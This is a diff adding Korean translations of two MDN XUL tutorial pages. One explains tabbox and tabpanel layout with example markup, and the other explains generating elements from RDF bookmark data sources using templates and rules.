+<p>환경설정 대화창은 탭을 사용하여 나타내는 것이 일반적입니다. 본 섹션에서는 탭 패널의 작성 방법에 대해 알아보겠습니다.</p>
+
+<h2 id=".ED.83.AD.EC.83.81.EC.9E.90" name=".ED.83.AD.EC.83.81.EC.9E.90">탭상자</h2>
+
+<p>탭상자는 환경설정 창에서 자주 사용됩니다. 일련의 탭들이 창의 상단부에 표시되며, 사용자는 서로 다른 선택사항들을 보기 위해 각각의 탭을 클릭할 수 있습니다. 이 기능은 선택 사항들을 한 화면에 다 담을 수 없을 때 유용하게 사용될 수 있습니다.</p>
+
+<p>XUL에서도 이러한 대화창을 구현할 수 있는 방법을 제공합니다. 이를 위해서는 다섯 개의 요소에 대해 먼저 알아야 하는데 여기서는 각 요소들에 대해 대략적으로 설명하고 상세한 내용은 아래에서 설명하도록 하겠습니다.</p>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></dt>
+ <dd>탭과 탭 페이지를 포함하는 외부 상자입니다.</dd>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></dt>
+ <dd>각 탭을 포함하는 내부 상자로 다시 말하면 탭을 포함하는 행을 나타냅니다.</dd>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></dt>
+ <dd>개별 탭을 나타내며 탭을 클릭하면 탭 페이지가 전면에 표시됩니다.</dd>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></dt>
+ <dd>여러 개의 탭 페이지를 포함하는 요소입니다.</dd>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></dt>
+ <dd>단일 탭 페이지를 나타내며 실제 내용들이 위치하게 됩니다. 첫 번째 tabpanel은 첫 번째 탭에 해당하고, 두 번째 tabpanel은 두 번째 탭에 해당하는 식입니다.</dd>
+</dl>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>는 최외곽 요소로 탭을 포함하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>요소와 각 탭 페이지을 포함하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></code> 요소로 구성됩니다.</p>
+
+<p>다음은 탭상자의 일반적인 구문입니다.</p>
+
+<pre>&lt;tabbox id="tablist"&gt;
+  &lt;tabs&gt;
+    &lt;!-- tab elements go here --&gt;
+  &lt;/tabs&gt;
+  &lt;tabpanels&gt;
+    &lt;!-- tabpanel elements go here --&gt;
+  &lt;/tabpanels&gt;
+&lt;/tabbox&gt;
+</pre>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code> 요소들은 일반 상자와 비슷한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> 요소 안에 놓입니다. 그리고 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> 요소 자신은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code> 안에 놓이게 됩니다. 또한 <code>tabbox</code>는 <code>tabpanels</code> 요소를 포함하는데 이는 탭 상자의 수직 정렬 속성에 따라 탭의 아래에 표시됩니다.</p>
+
+<p>실제로 탭 상자는 일반 상자와 별반 다른 게 없습니다. 상자와 마찬가지로 탭 또한 어떤한 요소든 포함할 수 있습니다. 다른 점이 있다면 모양이 조금 다르고 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code>처럼 한번에 하나의 탭 패널 밖에 표시되지 않는다는 것입니다.</p>
+
+<p>각 탭 페이지의 내용은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></code>에 포함됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code>에 포함된다고 생각하기 쉽지만, tab은 상단에 표시되는 탭의 내용을 포함하는 요소입니다.</p>
+
+<p>각 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></code> 요소는 하나의 탭 페이지를 나타냅니다. 첫 번째 패널은 첫 번째 탭에, 두 번째 패널은 두 번째 탭에 대응됩니다. 따라서 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code>과 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></code> 사이에는 일대일 대응 관계가 성립합니다.</p>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>의 크기는 가장 큰 탭 페이지의 크기에 의해 결정됩니다. 예를 들어 한 탭 페이지에 열 개의 글상자가 있고 다른 탭 페이지에는 하나의 글상자 밖에 없다고 하면, 탭 페이지의 크기는 가장 많은 공간을 차지하는 열 개의 글상자를 가진 탭 페이지의 크기에 맞춰진다는 것을 의미합니다. 사용자가 다른 탭을 선택해도 탭 영역의 크기는 변하지 않습니다.</p>
+
+<h3 id=".ED.83.AD.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C" name=".ED.83.AD.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C">탭상자 예제</h3>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_tabpanel_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_tabpanel_1.xul">View</a></p>
+
+<div class="float-right"><img alt="Image:tabpanel1.png"></div>
+
+<pre>&lt;tabbox&gt;
+  &lt;tabs&gt;
+    &lt;tab label="Mail"/&gt;
+    &lt;tab label="News"/&gt;
+  &lt;/tabs&gt;
+  &lt;tabpanels&gt;
+    &lt;tabpanel id="mailtab"&gt;
+      &lt;checkbox label="Automatically check for mail"/&gt;
+    &lt;/tabpanel&gt;
+    &lt;tabpanel id="newstab"&gt;
+      &lt;button label="Clear News Buffer"/&gt;
+    &lt;/tabpanel&gt;
+  &lt;/tabpanels&gt;
+&lt;/tabbox&gt;
+</pre>
+
+<p>예제에는 두 개의 탭이 포함되어 있으며, 첫 번째 탭은 라벨이 'Mail'이고, 두 번째는 'News' 입니다. 사용자가 Mail 탭을 클릭하면 첫 번째 탭 페이지의 내용이 탭 아래에 표시됩니다. 이 경우, 'Automatically check for mail'이라는 라벨이 붙은 체크박스가 나타날 것입니다. 두 번째 탭을 클릭하면 'Clear News Buffer'라는 라벨을 가진 버튼을 포함하는 상자가 표시될 것입니다.</p>
+
+<p>기본적으로 선택된 탭페이지를 지정하기 위해서는 <code>tabbox</code>의 <code>selectedIndex</code> 속성을 설정하면 됩니다. 이 속성은 <code><a href="/ko/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code>과 마찬가지로 0에서 시작하며 <code>tabs</code>에 포함되어 있는 탭의 순서 번호를 입력할 수 있습니다. 해당 값에 0미만의 값을 입력하면 0을 입력한 것과 같이 첫번째 탭이 선택된 것으로 출력됩니다. 그리고, 탭의 갯수보다 큰 값을 입력하면 탭은 아무것도 선택되지 않은 것으로 출력되지만, 탭패널에는 첫번째 페이지가 출력될 것입니다.</p>
+
+<h3 id=".ED.83.AD.EC.9D.98_.EC.9C.84.EC.B9.98" name=".ED.83.AD.EC.9D.98_.EC.9C.84.EC.B9.98">탭의 위치</h3>
+
+<p>끝으로, 탭의 위치를 바꿔서 탭 페이지의 원하는 방향에 탭이 표시되도록 하는 방법을 알아 보겠습니다. 이러한 작업을 하기 위해 특별한 문법이 있는 것이 아니라 간단히 <code>orient</code>와 <code>dir</code> 속성 값을 설정하면 됩니다. 레이아웃에 관한한 탭 요소들은 일반 상자와 아주 유사하다는 점을 기억하세요. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>는 기본적으로 수직 정렬 방식인 일반 컨테이너 상자이고, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> 요소는 기본적으로 수평 정렬 방식인 일반 컨테이너 상자이라는 점을 알고 있으면 됩니다.</p>
+
+<p>예를 들어 탭을 왼쪽에 표시하려고 한다며, 탭들이 수직적으로 쌓이게 출력되도록 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>의 <code>orient</code> 속성을 <code>vertical</code>로 변경한 후 <code>tabbox</code>의 <code>orient</code> 속성을 <code>horizontal</code>로 설정하면 됩니다. 이렇게 하면 탭 페이지의 상단이 아닌 왼쪽에 탭이 수직방향으로 쌓이게 출력됩니다. 탭 페이지는 겹쳐 있기 때문에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></code> 요소의 <code>orient</code> 속성을 바꾸는 것은 아무런 의미가 없습니다.</p>
+
+<p>여러분은 코드상에서 <code>tabpanels</code> 요소 다음으로 <code>tabs</code> 요소 위치를 옮겨서 오른쪽이나 아래쪽에 탭이 배치되도록 할 수 있습니다. 또 다른 방법으로는 <code>tabbox</code>의 <code>dir</code> 속성을 <code>reverse</code>로 지정하셔도 됩니다. 그러나 탭의 위치를 옮기면 특정 테마에서 보기가 좋지 않을 수 있기 때문에 그냥 상단에 두는게 좋을 것입니다.</p>
+
+<div class="highlight">
+<h2 id=".ED.8C.8C.EC.9D.BC.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD.EC.97.90_.ED.83.AD_.EB.84.A3.EA.B8.B0" name=".ED.8C.8C.EC.9D.BC.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD.EC.97.90_.ED.83.AD_.EB.84.A3.EA.B8.B0">파일찾기 대화창에 탭 넣기</h2>
+
+<p>파일찾기 대화창에 두 번째 패널을 넣어 보겠습니다. 우리는 검색과 관련된 설정을 포함할 Options 탭(기본적으로 선택되어 있도록 하겠습니다)을 만들 것입니다. 이렇게 하는 것이 그다지 좋은 인터페이스는 아니지만, 탭을 설명하기 위해 사용할 목적으로 이렇게 만들 것입니다. 위쪽의 라벨과 검색 상자는 첫 번째 탭에 넣어야 합니다. 두 번째 탭에는 몇가지 설정 사항을 넣겠습니다. 진행막대와 버튼은 탭 외부의 메인 대화창 위에 두도록 하겠습니다.</p>
+
+<pre class="eval">&lt;vbox flex="1"&gt;
+
+<span class="highlightred">&lt;tabbox selectedIndex="1"&gt;
+  &lt;tabs&gt;
+    &lt;tab label="Search"/&gt;
+    &lt;tab label="Options"/&gt;
+  &lt;/tabs&gt;
+
+  &lt;tabpanels&gt;
+   &lt;tabpanel id="searchpanel" orient="vertical"&gt;</span>
+
+    &lt;description&gt;
+     Enter your search criteria below and select the Find button to begin
+     the search.
+    &lt;/description&gt;
+
+    &lt;spacer style="height: 10px"/&gt;
+
+    &lt;groupbox orient="horizontal"&gt;
+      <span class="nowiki">&lt;caption label="Search Criteria"/&gt;</span>
+
+      &lt;menulist id="searchtype"&gt;
+        &lt;menupopup&gt;
+          &lt;menuitem label="Name"/&gt;
+          &lt;menuitem label="Size"/&gt;
+          &lt;menuitem label="Date Modified"/&gt;
+        &lt;/menupopup&gt;
+      &lt;/menulist&gt;
+      &lt;spacer style="width: 10px;"/&gt;
+      &lt;menulist id="searchmode"&gt;
+        &lt;menupopup&gt;
+          &lt;menuitem label="Is"/&gt;
+          &lt;menuitem label="Is Not"/&gt;
+        &lt;/menupopup&gt;
+      &lt;/menulist&gt;
+
+      &lt;spacer style="height: 10px"/&gt;
+      &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+
+    &lt;/groupbox&gt;
+   <span class="highlightred">&lt;/tabpanel&gt;
+
+   &lt;tabpanel id="optionspanel" orient="vertical"&gt;
+    &lt;checkbox id="casecheck" label="Case Sensitive Search"/&gt;
+    &lt;checkbox id="wordscheck" label="Match Entire Filename"/&gt;
+   &lt;/tabpanel&gt;
+
+ &lt;/tabpanels&gt;
+&lt;/tabbox&gt;</span>
+</pre>
+
+<div class="float-right"><img alt="Image:tabpanel2.png"></div>
+
+<p>탭 요소들이 창의 중심부에 추가되었습니다. Search와 Options의 두 탭을 볼 수 있는데, 각 탭을 클릭하면 그에 맞는 탭 페이지가 표시됩니다. 그림에서 보듯이, 두 번째 탭에는 두 개의 선택 사항이 있으며, 첫 번째 탭은 상단에 탭이 있는 것을 제외하면 이전의 파일찾기 창과 차이가 없습니다.</p>
+
+<p><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-tabpanel.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-tabpanel.xul">View</a></p>
+</div>
+
+<p>다음에는 <a href="ko/XUL_Tutorial/Grids">격자 형식의 컨텐츠를 작성하는 방법</a>에 대해 배워보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Stack_Positioning" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Grids">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html
new file mode 100644
index 0000000000..dd1af0a361
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html
@@ -0,0 +1,126 @@
+---
+title: Templates
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Templates
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Templates
+---
+<h3 id=".ED.85.9C.ED.94.8C.EB.A6.BF" name=".ED.85.9C.ED.94.8C.EB.A6.BF">템플릿</h3>
+<p>이 절에서는 데이터로부터 요소를 생성시키는 방법에 대해 살펴보고 갑니다.</p>
+<h4 id=".EC.9A.94.EC.86.8C.EC.9D.98_.EC.83.9D.EC.84.B1" name=".EC.9A.94.EC.86.8C.EC.9D.98_.EC.83.9D.EC.84.B1">요소의 생성</h4>
+<p>XUL 에는 RDF 파일 혹은 내부 데이터 소스에 의한 RDF 로부터 공급되는 데이터로부터 요소를 생성하는 기능이 있습니다. Mozilla 에서는 북마크나 히스토리 혹은 메일 메세지등의 여러 가지의 데이터 소스가 제공되고 있습니다. 이것들에 대한 자세한 것은 다음 절에 취급합니다.</p>
+<p>보편적으로, 트리 항목(treeitem)이나 메뉴 항목(menuitem)등의 요소가 데이터로부터 생성되게 됩니다. 그렇지만, 필요하면 다른 요소에 이용하는 일도 가능합니다. 그렇게 말한 요소가 보다 유용이 되는 것은 특수한 상황에 있어야하지만 트리나 메뉴에는 긴 코드를 필요로 하므로 우선은 그러한 요소에 대하고 나서 시작합니다.</p>
+<p>RDF 데이터에 근거한 요소의 생성을 가능하게 하기 위해서는, 생성되는 요소 마다 복제되는 것 같은 단순한 템플릿을 줄 필요가 있습니다. 요컨데, 최초의 요소만을 주어 두어 나머지의 요소는 그것을 바탕으로 구축시키는 것입니다.</p>
+<p>템플릿은 template 요소에 의해 작성됩니다. 그 중에 구축되는 각 요소에 대해 이용하고 싶은 요소를 둡니다. template 요소는 구축되는 요소를 포함하게 되는 요소내에 둘 필요가 있습니다. 예를 들면 트리의 경우, template 요소를 tree 요소내에 둡니다.</p>
+<p>예를 보는 편이 빠를 것입니다. 간단한 예로서 탑 레벨의 각 북마크에 대응하는 버튼을 작성해 봅시다. Mozilla 에는 북마크 데이터 소스가 있으므로 데이터의 취득에는 그것을 이용합니다. 이 예에서는 버튼을 작성하는 대상으로 탑 레벨의 북마크(혹은 북마크 폴더)만을 취득합니다. 아래층의 북마크에 대해서는 트리나 메뉴등의 계층을 표시하는 요소가 필요하게 됩니다.</p>
+<p>내부의 RDF 데이터 소스를 참조하는 것 같은 이 예나 다른 것은 chrome URL 로부터 읽혔을 경우에 대해서만 유효합니다. 안전상의 이유로부터 Mozilla 에서는 다른 소스로부터 남을 수 있는 데이터 소스에의 액세스는 할 수 없게 되어 있습니다.</p>
+<p>이 예를 실제로 보기 위해서(때문에)는, chrome 패키지를 작성해 파일을 거기로부터 읽어들이게 할 필요가 있습니다. chrome URL 를 브라우저의 URL 필드에 입력합니다.</p>
+<p>Example 9.2. 1: 소스</p>
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+  &lt;template&gt;
+    &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+<p>여기에서는, 각 탑 레벨의 북마크에 대응하는 버튼을 포함한 세로 줄의 박스가 작성됩니다만, 위에 보여지듯이, template 요소는 button 요소를 1개만 포함하고 있습니다. 이 버튼이 생성할 필요가 있는 모든 버튼의 바탕으로 됩니다. 화면으로부터 알듯이, 각 북마크에 대응하는 일련의 버튼이 작성되고 있습니다.</p>
+<p>이 예의 윈도우를 연 채로 해서 브라우저로 북마크를 추가해 보세요. 일련의 버튼이 즉시 갱신되는 것을 알 수 있습니다.(다만, 윈도우에 한 번 포커스를 댈 필요가 있을지도 모릅니다).</p>
+<p>템플릿 자체는 세로 줄의 박스내에 놓여져 있습니다. 박스에는 템플릿을 이용하기 위한 2개의 특별한 속성이 주어지고 있어 이용하는 데이터를 어디에서 얻는지를 지정하고 있습니다. 우선 datasources 속성입니다만, 이것은 RDF 데이터 소스를 요소 생성에 있어서의 데이터 공급원으로 하는 경우에 이용합니다. 이 경우 rdf:bookmarks 가 이용됩니다. 이것은 북마크 데이터 소스라고 짐작이 되겠지요. 이 데이터 소스는 Mozilla 가 제공하는 것입니다. 당신 자신에 의한 데이터 소스를 이용하고 싶은 경우는, 아래의 예에 나타나고 있듯이 datasources 속성에 RDF 파일의 URL 를 지정합니다.</p>
+<pre>&lt;box datasources="chrome://zoo/content/animals.rdf"
+     ref="http://www.some-fictitious-zoo.com/all-animals"&gt;
+
+</pre>
+<p><br>
+ 공백 캐릭터로 나눠지는 것으로 한 번에 복수의 데이터 소스를 속성으로 지정할 수도 있습니다. 이것은 복수의 소스로부터의 데이터를 표시시키고 싶은 경우에 이용할 수 있습니다.</p>
+<p>다음에 ref 속성에는 데이터 소스내의 어디에서 데이터를 취득하는지를 지정합니다. 위의 북마크의 경우, 북마크 계층에 있어서의 루트를 지시하는 값 NC:BookmarksRoot 가 이용되고 있습니다. 여기로 지정 가능한 값은 이용하는 데이터 소스에 의존합니다. 당신 자신에 의한 데이터 소스를 이용하는 경우, 지정하는 값은 RDF 의 Bag, Seq, Alt 몇개의 요소에 있어서의 about 속성의 값에 대응하는 것이 됩니다.</p>
+<p>이것들 2개의 속성을 위의 박스에 나누어주는 것으로 템플릿으로부터의 요소의 생성이 가능하게 됩니다. 다만, 템플릿내의 요소는 다른 방법으로 선언될 필요가 있습니다. 위의 예로 보여지듯이, button 요소에는 uri 속성이 주어지고 있고 label 속성의 값이 통상과 다른 것이 되어 있습니다.</p>
+<p>템플릿내에 있어서의 속성값은 데이터 소스로부터 값을 취득해야 하는 것을 지시하기 때문에 'rdf:'로 시작됩니다. 전의 예에서는 label 속성이 이것에 해당합니다. 속성값의 나머지의 부분은 데이터 소스내의 name 프롭퍼티를 참조합니다. [역주：The remainder of the value refers to the name property is the datasource. 문법적으로 이상한 느낌이지만, 문중의 'property is ...'는 'property in ...'의 오타라고 생각된다. ] 그것은 데이터 소스로 이용되고 있는 이름 공간 URL 에 프롭퍼티명을 부가한 것으로 구성되어 있습니다. 여기를 이해할 수 없는 경우는 전 장의 마지막 부분을 읽어 봐 주세요. 거기에 RDF 내의 리소스가 어떤 형태로 참조될지가 진술되고 있습니다. 여기에서는 북마크명 밖에 이용하지 않았습니다만, 그 밖에도 여러 가지의 필드를 이용할 수 있습니다.</p>
+<p>버튼의 label에는 북마크명을 설정하고 싶었기 때문에, 버튼의 label 속성은 이 특별한 URI 로 설정되어 있습니다. URI 를 button 요소의 임의의 속성이나 다른 요소의 속성으로 설정할 수도 있었습니다. 이러한 속성의 값은 데이터 소스 - 여기에서는 북마크 데이터 소스 - 로부터 공급되는 데이터로 옮겨집니다. 그 결과, 버튼의 label는 북마크명이 되는 것입니다.</p>
+<p>아래의 예에서는 데이터 소스를 이용해 버튼에 있어서의 다른 속성을 어떻게 설정 할 수 있는지를 나타내고 있습니다. 물론, 데이터 소스에는 적절한 리소스가 주어지고 있는 것으로 합니다. 만약 속성에 대응하는 리소스가 눈에 띄지 않는 경우, 그 속성의 값은 캐릭터 라인이 됩니다.</p>
+<pre>&lt;button class="rdf:http://www.example.com/rdf#class"
+        uri="rdf:*"
+        label="rdf:http://www.example.com/rdf#name"/&gt;
+        crop="rdf:http://www.example.com/rdf#crop"/&gt;
+
+</pre>
+<p><br>
+ 보듯이 다른 데이터 소스로부터 공급되는 속성을 이용해 동적으로 요소의 리스트를 생성시킬 수가 있습니다.</p>
+<p>내용 생성을 시작하는 장소의 요소는 uri 속성으로 지정합니다. 보다 이전의 내용의 생성은 한 번 잘른 것인데 비해 내부의 내용은 각각의 리소스에 대해 생성됩니다. 이 점에 대해서는 트리에 대한 템플릿의 작성에 대해 말할 때에 자세하게 살펴보기로 하겠습니다.</p>
+<p>이러한 기능을 템플릿을 포함한 컨테이너 - 여기에서는 박스 - 에 부가하는 것으로써, 외부의 데이터로부터 여러 가지의 흥미를 끄는 내용 리스트를 생성시킬 수가 있습니다. 물론, 템플릿내에는 복수의 요소를 두어도 어느 요소에도 고유의 RDF 참조를 줄 수가 있습니다. 아래에 그 예를 나타냅니다.</p>
+<p>Example 9.2. 2: 소스</p>
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+  &lt;template&gt;
+    &lt;vbox uri="rdf:*"&gt;
+      &lt;button label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+      &lt;label value="rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+    &lt;/vbox&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+<p><br>
+ 이 예는 각 북마크에 대해 버튼과 label를 가지는 세로 줄의 박스를 생성합니다. 버튼은 북마크명, label는 URL 를 가지게 됩니다.</p>
+<p>생성되는 새로운 요소는 XUL 내에 직접 기록된 요소와 기능적으로는 아무런 바뀔 것은 없습니다. 템플릿에 의해 생성되는 모든 요소에 대해 리소스를 특정하는 id 속성이 주어집니다. 이것을 이용해 리소스를 특정할 수 있습니다.</p>
+<p>아래의 예와 같이 같은 속성에 복수의 리소스치를 공백 캐릭터로 단락지어 지정할 수도 있습니다. 리소스 구문의 상세입니다.</p>
+<p>Example 9.2. 3: 소스</p>
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot"
+     flex="1"&gt;
+  &lt;template&gt;
+    &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id=".ED.85.9C.ED.94.8C.EB.A6.BF_.EA.B5.AC.EC.B6.95_.EB.B0.A9.EB.B2.95" name=".ED.85.9C.ED.94.8C.EB.A6.BF_.EA.B5.AC.EC.B6.95_.EB.B0.A9.EB.B2.95">템플릿 구축 방법</h4>
+<p>요소가 데이터소스의 속성을 가질 때, 그 요소는 템플릿으로부터 구축되는 것을 의미합니다. 내용이 구축될지 어떨지는 template 태그는 아니고, datasources 속성으로 정해지는 것에 주의해 주세요. 이 속성이 존재할 때, 빌더로 불리는 오브젝트가 요소에 부가됩니다. 이 오브젝트가 템플릿으로부터의 내용 생성의 역할을 하게 됩니다. JavaScript 로부터는 builder 속성으로부터 빌더객체에 액세스 할 수가 있습니다. 통상, 내용 생성이 자동적으로 행해지지 않을 때에 빌더에 내용의 재생성을 실시하게 하고 싶은 경우를 제외하면, 이 필요성은 없을 것입니다.</p>
+<p>빌더에는 2 종류가 있습니다. 1개는 대부분의 경우에 이용되는 내용 빌더로 불려지고 또 하나는 트리에 대해서만 이용되는 트리빌더입니다.</p>
+<p>내용 빌더는 template 요소내의 내용을 꺼내 항목 마다 복제합니다. 예를 들면, 위의 예로 유저가 10 개의 북마크를 가지고 있는 경우, 10 개의 label 요소가 생성되어 vbox 요소의 아이 요소로서 추가되겠지요. 문서 트리의 주사에 DOM 함수를 사용하면, 이러한 요소를 찾아내 프롭퍼티를 조사할 수 있습니다. 이러한 요소는 표시되는 한편, template 요소 자체는 문서 트리내에는 존재하는 것의 표시는 되지 않습니다. 더욱, 각 label의 id 속성은 그 항목의 RDF 리소스로 설정됩니다.</p>
+<p>내용 빌더는 항상 uri="rdf:*" 가 지정되었는데로부터 생성을 개시합니다. uri 속성이 요소 트리에 대해 하위의 요소에게 줄 수 있는 경우, 상위의 요소는 한 번 밖에 작성되지 않습니다. 아래의 예에서는 hbox 가 1개 작성되어 그 내용은 항목 마다 생성되는 label로 채워질 수 있게 됩니다.</p>
+<pre>&lt;template&gt;
+  &lt;hbox&gt;
+    &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+  &lt;/hbox&gt;
+&lt;/template&gt;
+</pre>
+<p>데이터소스 속성을 가지는 요소내에 존재하지만 템플릿의 외측에 있는 내용도 표시됩니다. 이와 같이, 템플릿에 대해 정적인 내용과 동적인 내용을 혼합할 수가 있습니다.</p>
+<p>한편, 트리빌더는 항목 마다 DOM 요소를 생성할 것은 없습니다. 그 대신 필요가 생길 때에 RDF 데이터소스로부터 데이터를 직접 취득합니다. 트리는 몇천줄의 항목을 표시하는 것이 되고 있으므로 이 편이 효율적인 것입니다. 셀의 하나하나에 대해서 요소를 생성하는 것은 비용이 너무 비싸게 듭니다. 다만, 트리에서는 텍스트 밖에 표시할 수 없습니다. [역주：8.1 절 「트리」에서는 트리는 화상도 내용으로서 포함할 수 있다고 기록되고 있다. ] 더욱, 요소는 생성되지 않기 때문에 트리의 셀에 대한 스타일에 CSS 프롭퍼티를 이용하는 것은 통상의 방법에서는 할 수 없습니다.</p>
+<p>트리빌더는 트리에 대해서만 이용됩니다. 다른 요소에서는 콘텐츠빌더만 이용됩니다만, 이것은 특히 문제가 되는 것이 아닙니다. 메뉴등의 다른 요소에는 그러한 다수의 항목을 표시하는 것은 상정되어 있지 않기 때문입니다. 내용빌더를 트리에 이용하는 일도 가능하여 treeitem 요소와 관련하는 요소가 항목 마다 작성됩니다.</p>
+<h4 id=".EB.A3.B0" name=".EB.A3.B0">룰</h4>
+<p>전에 언급한 예에 있어서 화상에서는 3번째의 버튼에는 하이픈만이 표시되고 있는 것을 알 것입니다. 이것은 북마크의 리스트에 있어서의 separator 입니다. 지금까지의 이용과 같이 RDF 북마크 데이터 소스도 마치 통상의 북마크와 같게 separator를 공급합니다. separator의 리소스에 대해서는 사실은 버튼의 대신에 작은 틈새를 두고 싶었습니다만. 즉, 통상의 북마크와 separator에 대해 다른 종류의 내용을 작성시키고 싶은 것입니다.</p>
+<p>이것을 실시하려면 rule 요소를 이용합니다. 작성시키고 싶은 요소의 종류 마다 룰을 정의합니다. 여기의 예에서는 북마크에 대한 룰과 separator에 대한 룰이 필요하게 됩니다. 어느 룰을 어느 RDF 리소스에 적용할까는 rule 요소에 나누어주는 속성에 의해 정해집니다.</p>
+<p>어느 룰을 데이터에 적용할까를 주시하는 과정에 대해서는 각 rule 요소에 대해 합치할지 어떨지가 차례로 조사할 수 있습니다. 즉, 룰을 정의하는 차례가 중요하게 됩니다. 먼저 정의되고 있는 룰이 다음에 정의되고 있는 룰보다 우선됩니다.</p>
+<p>다음의 예는 이전의 예에 2개의 룰을 더한 것입니다.</p>
+<p>Example 9.2. 4: 소스</p>
+<pre>&lt;window
+  id="example-window"
+  title="Bookmarks List"
+  xmlns:html="http://www.w3.org/1999/xhtml"
+  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+   &lt;template&gt;
+
+    &lt;rule rdf:type="http://home.netscape.com/NC-rdf#BookmarkSeparator"&gt;
+     &lt;spacer uri="rdf:*" height="16"/&gt;
+    &lt;/rule&gt;
+
+    &lt;rule&gt;
+      &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+    &lt;/rule&gt;
+
+  &lt;/template&gt;
+ &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+<p>2개의 룰을 이용하는 것으로써, 템플릿내의 내용은 선택적으로 생성되게 됩니다. 최초의 rule 요소에서는 rdf:type 속성으로 보여지도록, 북마크 separator가 선택됩니다. 후의 룰에서는 rule 요소에 어떤 속성도 나누어주어지지 않기 때문에, 모든 데이터가 일치합니다.</p>
